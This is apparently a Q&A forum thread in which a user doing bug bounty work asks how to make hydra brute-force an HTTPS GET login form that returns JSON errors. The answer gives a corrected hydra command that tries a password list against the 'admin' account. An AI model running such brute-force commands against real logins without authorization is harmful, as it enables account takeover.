4

I've been doing some bug bounty hunting and have been having problems with hydra. So there is a https login form, request is :

https://bbsite/crp/login?password=pass&username=admin

Problem is that response is in json. So for bad login it is:

{"success":false,"greska":"Pogre\u0161no."}

So my solution was:

hydra  bbsite https-get-form "/crp/login:username=^USER^&password=^PASS^:{\"success\"\:false,\"greska\"\:\"Pogre\u0161no\"}" -l admin -P /root/Downloads/pass.txt

But this is not working, and I have no idea why. Can anyone suggest solution?

1 Answer 1

5

Found solution:

hydra  bbsite https-get-form "/crp/login:username=^USER^&password=^PASS^:F={\"success\"\:false,\"greska\"\:\"Pogre\\\u0161no\"}" -l admin -P /root/Downloads/pass.txt

Needed to add F= for fail login. Needed to escape \ with \.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .